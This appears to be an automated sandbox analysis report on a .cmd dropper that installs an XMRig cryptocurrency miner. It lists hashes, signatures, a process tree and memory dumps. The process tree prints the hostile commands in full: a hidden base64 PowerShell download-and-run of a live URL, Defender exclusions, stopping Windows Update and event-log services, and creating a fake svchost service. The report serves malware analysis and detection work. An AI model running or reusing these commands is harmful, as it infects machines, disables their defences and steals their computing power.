Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/01/2025, 03:08

General

  • Target

    1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321.cmd

  • Size

    400B

  • MD5

    2eeefd9c6e45d4aa21861b1296f67585

  • SHA1

    a946bbc6ddecbfc98e418f5cd268fd9e31012f21

  • SHA256

    1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321

  • SHA512

    ae169104fd73052c11deadc0b3470e6a64e53edc17818e75576c0077eef27a7633c6c94ea96f9ebfe4321f6184d448dd9b218aee35e6ffea40a446308af844e0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://biteblob.com/Download/J4wO2GduKNJmX3/build.exe

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 15 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1360212e053f0c7cfad357be61c1e591e4b35842c020279f08b3590705cc1321.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JHVybCA9ICJodHRwczovL2JpdGVibG9iLmNvbS9Eb3dubG9hZC9KNHdPMkdkdUtOSm1YMy9idWlsZC5leGUiCiRmaWxlID0gIiRlbnY6VEVNUFxmaWxlLmV4ZSIKSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdXJsIC1PdXRGaWxlICRmaWxlClN0YXJ0LVByb2Nlc3MgIiRlbnY6VEVNUFxmaWxlLmV4ZSI=')))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:716
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3724
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2988
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:952
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:2488
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:3100
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:2216
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:4104
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:1648
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4604
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3660
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3916
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3536
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "NPYIAYNC"
            4⤵
            • Launches sc.exe
            PID:4660
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "NPYIAYNC" binpath= "C:\ProgramData\Microsoft\svchost.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:3480
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:3136
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "NPYIAYNC"
            4⤵
            • Launches sc.exe
            PID:3240
    • C:\ProgramData\Microsoft\svchost.exe
      C:\ProgramData\Microsoft\svchost.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4576
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4408
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:2152
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4528
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:3988
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:3996
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:1432
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:4140
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4648
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:368
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3936
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3908
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:2996
          • C:\Windows\system32\svchost.exe
            svchost.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4348
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start wuauserv
          1⤵
          • Launches sc.exe
          PID:4952

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          556084f2c6d459c116a69d6fedcc4105

          SHA1

          633e89b9a1e77942d822d14de6708430a3944dbc

          SHA256

          88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

          SHA512

          0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          8d80c45e0e047b75073a3d1c2710c68f

          SHA1

          babc73cf30327b36d184239a2747ec94d48929f4

          SHA256

          6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

          SHA512

          5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktpifaa4.cac.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\file.exe

          Filesize

          5.0MB

          MD5

          edc717098fd951b194c3960c5f263926

          SHA1

          8bb07cc625819cba2cba6b244ee4c4ca627caabe

          SHA256

          278e58b92de21972a1a0384ced195d043e5fa94b1ed6301b18cfc93554df5a73

          SHA512

          35ed392351161fbd1372119fde8bad1b3c0a709c24675913cbfc981ccd81297762520d99da41d8922206bce7b33619f8697cd997607152e59ec2d9a656d3b0ae

        • memory/716-14-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/716-13-0x00007FFEF6563000-0x00007FFEF6565000-memory.dmp

          Filesize

          8KB

        • memory/716-12-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/716-11-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/716-20-0x0000016DB2BB0000-0x0000016DB2DCC000-memory.dmp

          Filesize

          2.1MB

        • memory/716-26-0x0000016DB2BB0000-0x0000016DB2DCC000-memory.dmp

          Filesize

          2.1MB

        • memory/716-27-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/716-10-0x0000016DB2ED0000-0x0000016DB2EF2000-memory.dmp

          Filesize

          136KB

        • memory/716-0-0x00007FFEF6563000-0x00007FFEF6565000-memory.dmp

          Filesize

          8KB

        • memory/2296-70-0x000001836E950000-0x000001836E96A000-memory.dmp

          Filesize

          104KB

        • memory/2296-65-0x000001836E6C0000-0x000001836E6DC000-memory.dmp

          Filesize

          112KB

        • memory/2296-66-0x000001836E6E0000-0x000001836E795000-memory.dmp

          Filesize

          724KB

        • memory/2296-67-0x000001836E7A0000-0x000001836E7AA000-memory.dmp

          Filesize

          40KB

        • memory/2296-68-0x000001836E910000-0x000001836E92C000-memory.dmp

          Filesize

          112KB

        • memory/2296-69-0x000001836E8F0000-0x000001836E8FA000-memory.dmp

          Filesize

          40KB

        • memory/2296-71-0x000001836E900000-0x000001836E908000-memory.dmp

          Filesize

          32KB

        • memory/2296-72-0x000001836E930000-0x000001836E936000-memory.dmp

          Filesize

          24KB

        • memory/2296-73-0x000001836E940000-0x000001836E94A000-memory.dmp

          Filesize

          40KB

        • memory/2988-31-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/2988-30-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/2988-43-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/2988-29-0x00007FFEF6560000-0x00007FFEF7021000-memory.dmp

          Filesize

          10.8MB

        • memory/2996-76-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2996-79-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2996-78-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2996-77-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2996-80-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2996-83-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4348-92-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-88-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-90-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-89-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-93-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-91-0x000001DE38950000-0x000001DE38970000-memory.dmp

          Filesize

          128KB

        • memory/4348-94-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-84-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-86-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-87-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-85-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-96-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-95-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-97-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4348-98-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB